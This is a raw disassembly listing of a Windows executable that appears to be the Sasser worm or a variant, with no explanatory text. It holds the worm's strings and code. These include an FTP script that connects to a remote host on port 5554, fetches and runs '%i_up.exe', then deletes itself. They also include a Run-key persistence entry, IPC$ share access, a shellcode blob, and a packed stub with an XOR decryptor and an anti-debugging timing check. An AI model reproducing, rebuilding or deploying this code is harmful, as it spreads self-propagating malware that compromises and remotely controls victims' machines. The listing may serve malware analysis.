		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4066D8	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+450o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_40674C	dd 0				dd offset word_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset word_40A89A
		dd 1, 0
		dd 1, 0
		dd offset word_40A89A
		dd 1, 0
		dd 1, 0
		dd offset word_40A89A
		dd 1, 0
		dd 1, 4	dup(0)
		dd 20h,	0Ch dup(0)
dword_406810	dd 1004600h						; sub_40159E+19Er
		dd 1, 20h, 0Ch dup(0)
		dd 7515123Ch, 2, 20h, 0Ch dup(0)
		dd 751C123Ch, 0Fh dup(0)
off_4068C8	dd offset aAvserve2_exe	; DATA XREF: sub_4020D7:loc_40212Fr
					; sub_4020D7+B5r
					; "avserve2.exe"
		dd offset aAvserve2	; "avserve2"
off_4068D0	dd offset dword_406910	; DATA XREF: sub_401B08+1Ar
					; sub_401B08+2Dr
off_4068D4	dd offset dword_406908	; DATA XREF: sub_401B08+77r
					; sub_401B08+84r
off_4068D8	dd offset dword_406900	; DATA XREF: sub_401B08+A8r
					; sub_401B08+B5r
off_4068DC	dd offset dword_4068F8	; DATA XREF: sub_401B08+2BCr
					; sub_401B08+2C9r ...
off_4068E0	dd offset dword_4068F0	; DATA XREF: sub_401B08+184r
					; sub_401B08+191r
off_4068E4	dd offset dword_4068E8	; DATA XREF: sub_401B08+1B9r
					; sub_401B08+1C6r
dword_4068E8	dd 20303531h, 0A4B4Fhdword_4068F0	dd 20303032h, 0A4B4Fhdword_4068F8	dd 20363232h, 0A4B4Fhdword_406900	dd 20303332h, 0A4B4Fhdword_406908	dd 20313333h, 0A4B4Fhdword_406910	dd 20303232h, 0A4B4FhaAvserve2	db 'avserve2',0         ; DATA XREF: .text:004068CCo
		align 4
aAvserve2_exe	db 'avserve2.exe',0     ; DATA XREF: .text:off_4068C8o
		align 4
aEchoOffEchoOpe	db 'echo off&echo open %s 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo '
					; DATA XREF: .text:off_406030o
		db 'user&echo bin>>cmd.ftp&echo get %i_up.exe>>cmd.ftp&echo bye>>cmd.'
		db 'ftp&echo on&ftp -s:cmd.ftp&%i_up.exe&echo off&del cmd.ftp&echo on'
		db 0Ah,0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_4010D2:loc_401140o
		align 4
aCWin2_log	db 'c:\win2.log',0      ; DATA XREF: sub_401210+27o
aI		db '%i',0               ; DATA XREF: sub_401210+16o
		align 4
aSC		db '%s%c',0             ; DATA XREF: sub_401398+1DFo
		align 10h
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_401398+20o
					; sub_40159E+23o
		align 4
dword_406A2C	dd 6EB06EBh, 0	dword_406A34	dd 1CEC8166h	dword_406A38	dd 0E4FF07h	dword_406A3C	dd 302E35h	dword_406A40	dd 312E35h	aQuit		db 'QUIT',0             ; DATA XREF: sub_401B08+2DAo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_401B08+1A2o
		align 4
aI_I_I_I	db '%i.%i.%i.%i',0      ; DATA XREF: sub_401B08+173o
					; sub_401EF0+D2o
word_406A60	dw 2Ch			; DATA XREF: sub_401B08+EEr
		align 4
aPort		db 'PORT',0             ; DATA XREF: sub_401B08+C6o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_401B08+95o
		align 4
aUser		db 'USER',0             ; DATA XREF: sub_401B08+64o
		align 4
asc_406A7C:				; DATA XREF: sub_401EF0+102o
		unicode	0, < >,0
aJumpallsnlstil	db 'JumpallsNlsTillt',0 ; DATA XREF: sub_402029+50o
		align 4
aJobaka3	db 'Jobaka3',0          ; DATA XREF: sub_402029+Fo
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_4020D7+8Co
		align 4
asc_406ACC:				; DATA XREF: sub_4020D7+4Bo
		unicode	0, <\>,0
off_406AD0	dd offset sub_402AFF	; DATA XREF: sub_402934+1Cr
dword_406AD4	dd 2							; sub_4035C9+46r
		align 10h
off_406AE0	dd offset word_406AEA	; DATA XREF: sub_402810+1Er
					; sub_402A4C+12r ...
		dd offset word_406AEA
		db 2 dup(0)
word_406AEA	dw 20h			; DATA XREF: sub_403876+18r
					; .text:off_406AE0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_406CEC	dd 1				dd 2Eh,	1
dword_406CF8	dd 0C0000005h						; sub_402D04+11o
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_406D70	dd 3		dword_406D74	dd 7		dword_406D78	dd 0Ah		dword_406D7C	dd 8Ch							; sub_402BC3+8Fw ...
		dd 0FFFFFFFFh, 0A00h, 10h
dword_406D8C	dd 19930520h, 4	dup(0)					; sub_403496+2o
dword_406DA0	dd 2							; sub_4035C9+28r
off_406DA4	dd offset aR6002FloatingP ; DATA XREF: sub_4035C9+FCr
					; sub_4035C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 40536Ch, 9, 405340h, 0Ah,	40531Ch, 10h, 4052F0h
		dd 11h,	4052C0h, 12h, 40529Ch, 13h, 405270h, 18h, 405238h
		dd 19h,	405210h, 1Ah, 4051D8h, 1Bh, 4051A0h, 1Ch, 405178h
		dd 78h,	405168h, 79h, 405158h, 7Ah, 405148h, 0FCh, 405144h
		dd 0FFh, 405134h
byte_406E30	db 1			; DATA XREF: sub_4035C9+1Bo
					; sub_4038A7+E1r
		db 2, 4, 8
		align 8
dword_406E38	dd 3A4h		dword_406E3C	dd 82798260h, 21h, 0dword_406E48	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_406F28	dd 3F8h							; sub_403CF4+5r
		align 10h
dword_406F30	dd 0CFEB4308h						; sub_401000+10w ...
dword_406F34	dd 0							; sub_401210+Dr
dword_406F38	dd 0							; sub_401398+Co ...
dword_406F3C	dd 0							; sub_402680+91w
dword_406F40	dd 0							; sub_402D9F:loc_402DB1r ...
		align 8
dword_406F48	dd 0				dd 3 dup(0)
dword_406F58	dd 0A28h	dword_406F5C	dd 501h		dword_406F60	dd 5		dword_406F64	dd 1		dword_406F68	dd 1		dword_406F6C	dd 880ED0h			dd 0
dword_406F74	dd 880D70h			dd 3 dup(0)
off_406F84	dd offset aCM_unpackerPac ; DATA XREF: sub_402E58+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_406F8C	db 0			; DATA XREF: sub_402B10+2Dw
		align 10h
dword_406F90	dd 0		dword_406F94	dd 0							; sub_402B10+8Bw
dword_406F98	dd 0							; sub_402BC3+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_402E58:loc_402E6Fo
					; .text:off_406F84o
		align 4
		dd 31h dup(0)
dword_40707C	dd 9 dup(0)						; .text:00406638o ...
dword_4070A0	dd 1							; sub_4030A5+23w ...
dword_4070A4	dd 0		dword_4070A8	dd 1							; sub_40371C:loc_403786w
dword_4070AC	dd 1							; sub_403A40+4w ...
dword_4070B0	dd 0		; resolved to->USER32.MessageBoxA					; sub_404573+2Ew ...
dword_4070B4	dd 0		; resolved to->USER32.GetActiveWindow					; sub_404573:loc_4045C2r
dword_4070B8	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_404573+60r
		dd 2 dup(0)
dword_4070C4	dd 0				dd 3 dup(0)
dword_4070D4	dd 0							; sub_403A40+3Ar ...
		dd 0
dword_4070DC	dd 1							; sub_4046FE+4Cw ...
dword_4070E0	dd 0		dword_4070E4	dd 0		dword_4070E8	dd 10h							; sub_4043C7+5r ...
dword_4070EC	dd 0							; sub_403D93+259r ...
dword_4070F0	dd 320650h						; sub_403D93+310w ...
dword_4070F4	dd 0							; sub_403D93+22Cr ...
dword_4070F8	dd 1							; sub_403D68r ...
dword_4070FC	dd 320650h						; sub_403D68+8r ...
dword_407100	dd 4E4h							; sub_4038A7+65w ...
		align 10h
dword_407110	dd 3 dup(0)						; sub_4038A7+171o ...
dword_40711C	dd 0							; sub_4038A7+15Dw ...
byte_407120	db 0			; DATA XREF: sub_403AE6:loc_403BF2w
					; sub_403AE6:loc_403C0Fw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_407220	db 0			; DATA XREF: sub_4038A7+5Co
					; sub_4038A7+AFo ...
byte_407221	db 0			; DATA XREF: sub_402EF1+3Fr
					; sub_402EF1+84r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_407324	dd 0							; sub_4038A7+12Bw ...
dword_407328	dd 320000h						; sub_403382+29r ...
		dd 5 dup(0)
dword_407340	dd 880EF0h						; sub_4031D7+45r ...
dword_407344	dd 3Fh dup(0)	dword_407440	dd 20h							; sub_4031D7:loc_403261r ...
dword_407444	dd 1		dword_407448	dd 1		dword_40744C	dd 0		dword_407450	dd 0							; sub_402B10+57r
dword_407454	dd 0		dword_407458	dd 142340h						; sub_402D47+Fr ...
		dd 6E9h	dup(0)
_text		ends

; Section 2. (virtual address 00009000)
; Virtual size			: 00016010 (  90128.)
; Section size in file		: 00016010 (  90128.)
; Offset to raw	data for section: 00009000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 409000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 4 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 0
		dd 9010h, 0
		dd 0FFFFFFFFh, 904Ch, 9010h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 4C000000h, 4C64616Fh
		dd 61726269h, 417972h, 47000000h, 72507465h, 6441636Fh
		dd 73657264h, 73h, 72695600h, 6C617574h, 6F6C6C41h, 63h
		dd 72695600h, 6C617574h, 65657246h, 0A2330000h,	0E80E30B5h
		dd 0FCF83644h, 0F4476A36h, 9E7F9BDCh, 13B5857Ch, 0EF54DD1Ch
		dd 0A18418CFh, 0CA90E8A8h, 3E8CE63Fh, 0A88320ACh, 50000802h
		dd 8B600000h, 8B242474h, 247Ch,	245C8B28h, 1B8BFC2Ch, 0DB85C933h
		dd 80B21074h, 0DF030000h, 0E803B1A4h, 66h, 0FB3BF673h
		dd 7C73h, 33575553h, 0ED3343DBh, 7C8DC38Bh, 0EB8B001Dh
		dd 0DF8B0800h, 0F11C49E8h, 3D5C8Dh, 800C703h, 3AE8EF8Bh
		dd 5D5FE20Eh, 73C12B5Bh, 8B090000h, 34E8C5h, 1CEB0000h
		dd 0AC08E0C1h, 0E840h, 28h, 13DE88Bh, 83000040h, 813DFFD9h
		dd 7076000h, 2BF78B56h,	5EA4F3F0h, 4141h, 0D20295EBh, 168A0575h
		dd 0C3D21246h, 0E841C933h, 0FFEE0000h, 0C913FFFFh, 0FFFFE7E8h
		dd 0C3F272FFh, 107C2Bh,	7C892824h, 0C2611C24h, 0B4480010h
		dd 40003085h, 563E03h, 90100060h, 90140000h, 7DF80000h
		dd 77F40000h, 7FFDEBF8h, 6600h,	0B8h, 80305488h, 400001Dh
		dd 9A330000h, 0F8904000h, 56630000h, 0F2A0000h,	40010000h
		dd 501C02h, 4CAB00h, 6109B800h,	3100F61h, 6430056h, 1004h
		dd 3CA5h, 80000h, 880105h, 51530000h, 55565752h, 1DE84000h
		dd 30ED815Dh, 8D100011h, 25B5h,	8B100011h, 0C083FC46h
		dd 8BF02B04h, 468B0856h, 31C0041h, 89088BC2h, 17128F8Dh
		dd 0C418520h, 14240C93h, 0C970C06h, 0C100028h, 8BDE0C9Bh
		dd 0F6854473h, 0E74h, 2BB9h, 8BF20300h,	0FA03407Bh, 0F38BA4F3h
		dd 8D8D0000h, 1000129Fh, 226E851h, 4E8B0000h, 808B2Ch
		dd 56032456h, 68406A08h, 6A5197h, 12FF0000h, 128B8589h
		dd 0E8561000h, 3D7h, 2041E856h,	0CB0504DFh, 20620502h
		dd 85343280h, 89840FC9h, 4E54h,	0E8565108h, 53Eh, 7B74C085h
		dd 176F958Bh, 10000000h, 17738D8Bh, 0C9851000h,	8D8D0875h
		dd 1367h, 2DEB1000h, 0C1F7h, 1E748000h,	0FFE18152h, 0FFFF0000h
		dd 858D517Fh, 10001323h, 3C858D50h, 4000018h, 95FF5010h
		dd 8B1D257Dh, 0C8030846h, 414100F8h, 858D5152h,	2B012D1h
		dd 8D106A1Eh, 6A15BB85h, 0FF000800h, 1177995h, 13C395FFh
		dd 401000h, 800068h, 0FF006A00h, 468BB8B5h, 8B280000h
		dd 0C703087Eh, 468B10FFh, 5DC7030Ch, 97C5F5Eh, 0C35B595Ah
		dd 205Eh, 100013A2h, 100013BBh,	1088142h, 6D100013h, 56100013h
		dd 451B0000h, 7972746Eh, 696F5020h, 4E20746Eh, 746Fh, 756F4620h
		dd 5400646Eh, 70206568h, 65636F72h, 7564030Ch, 65206572h
		dd 7023h, 20732523h, 6C756F63h,	6F6E2064h, 65622074h, 6C200000h
		dd 7461636Fh, 69206465h, 6874206Eh, 2065h, 616E7964h, 2063696Dh
		dd 6B6E696Ch, 62696C20h, 617200C0h, 25207972h, 6F512E73h
		dd 1DD6472h, 6C616E69h,	1642520h, 615B4300h, 5D796Eh, 1000138Ch
		dd 0BD638098h, 65737500h, 33720000h, 6C642E32h,	654D006Ch
		dd 67617373h, 4265h, 41786Fh, 72707377h, 66746E69h, 656B0041h
		dd 6E720B00h, 45226C65h, 50746978h, 73DD8056h, 0CAF0073h
		db 0, 49h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	ebp
		push	ebx
		push	edi
		push	esi
		add	[eax-147EA45Bh], al
		setalc
		adc	eax, [eax]
		adc	[ebx+0E8B0875h], cl ; CODE XREF: .rsrc:0040946Dj
		add	eax, [eax-0AE34F8h]
		xchg	eax, ebx
		xchg	eax, ebp
		test	eax, eax
		jz	short loc_409471
		mov	[eax], esp
		add	[ebp-4], eax
		mov	edx, [esi+4]	; CODE XREF: .rsrc:00409441j
		add	edx, ebx
		jle	short near ptr loc_40943C+2
		mov	eax, [edx]	; CODE XREF: .rsrc:00409462j
		test	[edx], eax
		add	al, al
		jz	short loc_409465
		push	edx
		mov	eax, [edx]
		add	eax, ebx
		push	eax
		push	dword ptr [ebp-4]
		call	dword ptr [ebx-7A51E000h]
		sal	byte ptr [esp+edx-55h],	5Ah
		add	edx, 4
		jmp	short near ptr loc_409443+1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_409465:				; CODE XREF: .rsrc:00409449j
		add	[ebx+68B0CC6h],	al
		test	eax, eax
		jnz	short near ptr loc_409425+5
		xor	eax, eax


loc_409471:				; CODE XREF: .rsrc:00409435j
		jmp	short near ptr dword_409478
; ---------------------------------------------------------------------------
		db 0B8h
		dd 56FFFFh
dword_409478	dd 5F5EFFFFh, 0C2C95D5Bh, 6E000004h, 8B087D8Bh,	5F8B0447h
					; CODE XREF: .rsrc:loc_409471j
		dd 74C33B08h, 8B44h, 0F6853877h, 0F3033D74h, 0D82BD38Bh
		dd 0ADFC5D89h, 0D88B0000h, 85ADDA03h, 8B2A74C0h, 8E983C8h
		dd 0C985h, 0AD66ED74h, 0E781F88Bh, 0FFFh, 0C166FB03h, 0CE80000h
		dd 3F88366h, 458B0575h,	490701FCh, 15887549h, 62CCEBE1h
		dd 555F0600h, 0D2085D8Bh, 0A9ED815Dh, 8890014h,	3C4E8B10h
		dd 8004AADBh, 83085667h, 0B70F48C3h, 18A90C43h,	1075E4C1h
		dd 6F75D0A9h, 0FFA94601h, 7EEB6875h, 338B51h, 53085418h
		dd 0EB8BC933h, 0E5BB70Fh, 0CF3B0000h, 68B4D7Dh,	1275FF3Ch
		dd 7425FC80h, 8005h, 87515FCh, 8306C683h, 0E4EB06C1h, 0E74E83Ch
		dd 0E93C0000h, 468B2975h, 0F8385701h, 8EB1875h,	8B57h
		dd 0D8380146h, 0C1660E75h, 0C0C108E8h, 2BC48610h, 89C10000h
		dd 835F0146h, 0C18305C6h, 46B3EB05h, 0EB41h, 0EB595BAFh
		dd 8B575118h, 0FFA033Bh, 830E4BB7h, 2EC0000h, 57525166h
		dd 16E8h, 83595F00h, 5610C3h, 0E9057449h, 0FFFFFF5Ch, 0D400045Dh
		dd 8758B60h, 104D8B66h,	20C558Bh, 3071980h, 88966C2h, 0C961F4EBh
		dd 1E2B0CC2h, 800800E6h, 100015FFh, 1591858Dh, 0D0C2D21Bh
		dd 0A78B0889h, 48896105h, 22CC1604h, 16011649h,	2000A90Ch
		dd 0E9407525h, 0A4h, 3F28B51h, 8B331980h, 84B84BDh, 0F9C1C18Bh
		dd 0F3020014h, 83C803A5h, 0A4F303E1h, 9B60FC8Bh, 47B03FAh
		dd 591B00F7h, 8B5D69EBh, 4087Dh, 163403h, 0F78B5110h, 8B30772Bh
		dd 0C600A8FEh, 0C703574Ah, 10015256h, 0A68D8D5Ch, 84B8B51h
		dd 8D8D89h, 5105B60Ch, 0D0FF5657h, 50A18B5Ah, 0E6E63C8h
		dd 5F5E6678h, 4ED7B1EBh, 0B2383A38h, 16B70DC8h,	740D1500h
		dd 0E083F259h, 5007402h, 738B514Ah, 4B8B8604h, 74000308h
		dd 7B8B62F2h, 8BFA0304h, 84B02C3h, 0AAF3C033h, 1D083B82h
		dd 17002610h, 7FADE285h, 0C758B56h, 5D8B0002h, 39C03308h
		dd 4751046h, 2C740639h,	741C3000h, 8430303h, 30C4E8Bh
		dd 84Bh, 85107E8Bh, 30374FFh, 5750087Bh, 19E85351h, 0
		dd 0FFF88300h, 0C6830774h, 33C9EB14h, 22505EC0h, 0A6C2C9h
		dd 5340A315h, 0AF193855h, 0C459986h, 83892704h,	89C033A2h
		dd 0A4E66083h, 75FFB88Bh, 11FF0Ch, 0FC4589D2h, 7F74C085h
		dd 10758Bh, 14557280h, 275D285h, 0F685D68Bh, 0F28B0275h
		dd 0CA43E00Ch, 0C7100017h, 10384331h, 0B85249DEh, 0E1A94941h
		dd 13808B0Ah, 0E2E28112h, 5D8B0BEBh, 1808B08h, 8530312h
		dd 3E02C283h, 18092D58h, 10001311h, 900752h, 0C0855400h
		dd 895A1174h, 83028906h, 0C68304C2h, 0EB0400B6h, 0EBC0339Bh
		dd 63F5A06h, 0C95B5D05h, 0EF0063C2h, 748B6000h,	7C8B2424h
		dd 5C8B2824h, 8BFC2C24h, 74DB851Bh, 3D2334Eh, 0FB3BA4DFh
		dd 20E84573h, 73000000h, 27E8F4h, 0E8910000h, 21h, 41414848h
		dd 0AC08E0C1h, 0F78B5640h, 0A4F3F02Bh, 66D7EB5Eh, 875D203h
		dd 92AD6692h, 42D20366h, 40C033C3h, 0FFFFEAE8h,	0E8C013FFh
		dd 0FFFFFFE3h, 2BC3F272h, 8928247Ch, 611C247Ch,	0C50010C2h
		dd 5B000090h, 44000009h, 85000001h, 18000097h, 1C000090h
		dd 90h,	0B8004000h, 0F04087B0h,	1082888Dh, 41891000h, 24548B01h
		dd 0C528B04h, 83E902C6h, 0CA2B05C2h, 33FC4A89h,	0B0B8C3C0h
		dd 64F04087h, 58Fh, 0C4830000h,	51535504h, 8D565257h, 104398h
		dd 18538B10h, 406AE88Bh, 100068h, 473FF00h, 4B8B006Ah
		dd 8BCA0310h, 8BD0FF01h, 338B50F8h, 318538Bh, 0C4B8BF2h
		dd 858DCA03h, 1000111Dh, 8F0473FFh, 50006A00h, 0D1FF5657h
		dd 8430358h, 538BF88Bh,	8BF08B18h, 0C083FC46h, 89F02B04h
		dd 4B8B0856h, 244E8910h, 51144B8Bh, 0FF284E89h,	218589D7h
		dd 8B100011h, 4B0359F0h, 80006818h, 6A0000h, 8B11FF57h
		dd 5F5A5EC6h, 0FF5D5B59h, 95BE0h, 40283E00h, 3F1h dup(0)
		db 2 dup(0)
word_40A89A	dw 0			; DATA XREF: .text:00406750o
					; .text:00406794o ...
		dd 39DDh dup(0)
		assume ds:_text

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		call	sub_41902B


loc_419015:				; CODE XREF: sub_41902B+Bj
					; sub_41902B+2Fj
		pop	ebp
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419016	proc near		; CODE XREF: sub_41902B:loc_419038p
					; sub_41902B+14p
		rdtsc
		retn
sub_419016	endp


; =============== S U B	R O U T	I N E =======================================



sub_419019	proc near		; CODE XREF: sub_41902B+40p
		mov	dh, dl
		mov	ecx, 192Dh


loc_419020:				; CODE XREF: sub_419019+Ej
		xor	[eax], dl
		add	dl, dh
		lea	eax, [eax+1]
		loop	loc_419020
		retn
sub_419019	endp

; ---------------------------------------------------------------------------
		db 0B5h

; =============== S U B	R O U T	I N E =======================================



sub_41902B	proc near		; CODE XREF: startp
		test	eax, eax
		jnz	short loc_419033
		int	2Ch		; Internal routine for MSDOS (IRET)
		jmp	short loc_419038
; ---------------------------------------------------------------------------


loc_419033:				; CODE XREF: sub_41902B+2j
		shl	ebx, 9
		jns	short loc_419015


loc_419038:				; CODE XREF: sub_41902B+6j
		call	sub_419016
		mov	ebx, eax
		call	sub_419016
		neg	ebx
		push	ebp
		mov	ebp, [esp+4]
		add	eax, ebx
		sub	dword ptr [esp+4], 167D7h
		sub	eax, 100h
		jnb	short loc_419015
		sub	ebp, 101005h
		lea	eax, [ebp+101060h]
		mov	dl, [eax-46h]
		call	sub_419019
		db	3Eh, 36h
		cmp	ebx, esp
		or	ch, bl
		rep pop	eax
		mov	ds:0AFDA1EDh, al
		stosd
		shl	dword ptr ds:0C924843Bh[ecx], 8Eh
		inc	ebx
		adc	ebx, [ecx+ebp*8+54h]
		lock or	ah, [edx-0Dh]
		fcomp	st
		push	ds
		movsd
		jmp	dword ptr [ebx-3Ah]
sub_41902B	endp

; ---------------------------------------------------------------------------
		dw 3A18h
		dd 0EF64E3DDh, 0F347077Ch, 0A04E39A3h, 7AEB5A1Dh, 0A5E5BBEh
		dd 697429DEh, 66D48EF9h, 0F449F5EDh, 0B3F451C4h, 939522C6h
		dd 0E39B71BEh, 3883C3F1h, 7832E5EDh, 9458178Dh,	0DB8D38D0h
		dd 7BD01E1Bh, 0D5710D6Eh, 20525394h, 44272E5h, 0AA606EB9h
		dd 0C98323E8h, 0EEAE6024h, 79FAB41h, 0ADFA68F6h, 0FC57BB4Ch
		dd 0D01B6A59h, 0CB837985h, 198B6B2Ah, 29FB8643h, 0F694E501h
		dd 0DDB20F5Ch, 0CBFB5EB9h, 19E73279h, 823F0991h, 147025DBh
		dd 31F63B06h, 2CB282DDh, 0C3CAD3AEh, 315C2A75h,	68A3EB7Dh
		dd 422511Dh, 105BB6E4h,	0F113DF46h, 0EF034E89h,	9E8EA7ABh
		dd 0E9AAF651h, 245653A0h, 67E613E9h, 0EF2762A8h, 1946CB58h
		dd 35CF0A4Ch, 5B45061Ah, 0AC28C20Dh, 105F785Ch,	0CE6A6BB5h
		dd 3D0C3EE3h, 7CD73B80h, 42DB513Eh, 308137FBh, 7DCA8EC9h
		dd 0CC077642h, 568316Ah, 74AF1EBAh, 0A5062129h,	0DD67A2D4h
		dd 74349939h, 0C40F5A71h, 0F2F769F2h, 474010Dh,	488BC621h
		dd 3DFE2F7Ch, 0E35B7ED9h, 0D60752C3h, 0BD4ED971h, 0E1AFEA6Fh
		dd 1007C1D9h, 9B57A2EEh, 0F02BC34Ch, 5B744A85h,	88D49DD0h
		dd 5C4A733Dh, 0BD7BD601h, 145E4370h, 27869DB9h,	8C1BC16Fh
		dd 88A1EAEAh, 0D9C62A06h, 3869899Ch, 77EC61DDh,	0C04CEF4Dh
		dd 0F3F37D7Bh, 79C30D31h, 0ED021D2Dh, 0A36BA628h, 34BAAA11h
		dd 0CACADAA6h, 0F670327Dh, 18BA6C51h, 0C48FDE25h, 1963AE91h
		dd 4DA27DCDh, 450B4688h, 285B25B5h, 2B3FE4Bh, 3CEF821Dh
		dd 7A5BA2F1h, 0E8C7BBC5h, 0E80224CEh, 8DD72305h, 0C13E0941h
		dd 5C7FDA3Ch, 8529EE3h,	0F586E742h, 0B5134681h,	6DCF1A65h
		dd 58A3ECB2h, 0CF2EC267h, 0FF41FCEBh, 0C4354F20h, 6B02D589h
		dd 5502AFDEh, 5F9BE621h, 246DD481h, 0F84566D9h,	985962ADh
		dd 0A0A77AC5h, 5D629FAAh, 0FD1EDE39h, 1C77A59Bh, 4DB64FE2h
		dd 0C41F7090h, 707022C8h, 6CB700E9h, 6AEA6BA2h,	1B5FAAE5h
		dd 0E831444Dh, 8582D99Dh, 6FDB365Bh, 0E120FB35h, 3893E719h
		dd 25571F6Ch, 1FD476D1h, 33F04A95h, 88D31C72h, 769A77B6h
		dd 4084C601h, 49CA15E4h, 59237E90h, 0BCDE0F30h,	8034E961h
		dd 0A818E535h, 0A373BE08h, 0EC6DD350h, 2F0285B1h, 21603BF4h
		dd 78D32703h, 65CD5FACh, 0DF94B611h, 73308AD5h,	0C8135F72h
		dd 9CE6D495h, 0C7068B51h, 0CF8FCA0Fh, 0EE63C436h, 0E8477D14h
		dd 0AA08B722h, 0C3262935h, 70D9FE23h, 29D46790h, 0CE2A6E1h
		dd 692F7AC5h, 47FD039Dh, 27B1DD92h, 60E6F2CCh, 527FCA15h
		dd 0C141342h, 70C34016h, 4B19EDF7h, 84A5CEEEh, 58FDE551h
		dd 46BB490Dh, 6A8F1DE1h, 0D41F02B5h, 0E8993689h, 72AD400Ch
		dd 150E1961h, 7C6FAA2Fh, 90034A5Ah, 0CC173CA6h,	0A081E20Ah
		dd 70D5C6DEh, 4AF9DE43h, 7467D8AFh, 0F03BD8DAh,	0AE5E5ACFh
		dd 0D1C7E86h, 6CA72804h, 0BF0E8F7Eh, 15622EFAh,	5DBE7EC9h
		dd 0BC17429Dh, 90DCA5C8h, 97407145h, 386E4FBCh,	8157B2FDh
		dd 0F038B544h, 391FB595h, 98CBF1FCh, 0C958A03Dh, 306BEFECh
		dd 44F8C0Dh, 0B74C22B9h, 0FC8737E6h, 0E9BD7F13h, 31F88F59h
		dd 5D1FDF5Fh, 0AC47D3B8h, 0F982F34Eh, 21663A95h, 78D327C4h
		dd 6CFDB67Dh, 0B594496Bh, 0F42FA098h, 0BD4C9E2Ch, 9E8DA442h
		dd 0A4305007h, 0ACDDDB4Fh, 1863AEE8h, 8973E79Eh, 906C23C3h
		dd 0FDA94307h, 0DD49B25h, 0A978841Dh, 104B8F6Ch, 0B279BE4Eh
		dd 0EF551ECFh, 0A6E2B792h, 0A428F651h, 0A1809D05h, 843B764h
		dd 0DE4D72D7h, 993ED36Eh, 0AC761A75h, 0CFA3EE38h, 20FE2326h
		dd 0FF1CC2C5h, 0C4356720h, 2B050D89h, 6CEDB7F8h, 7CFE631h
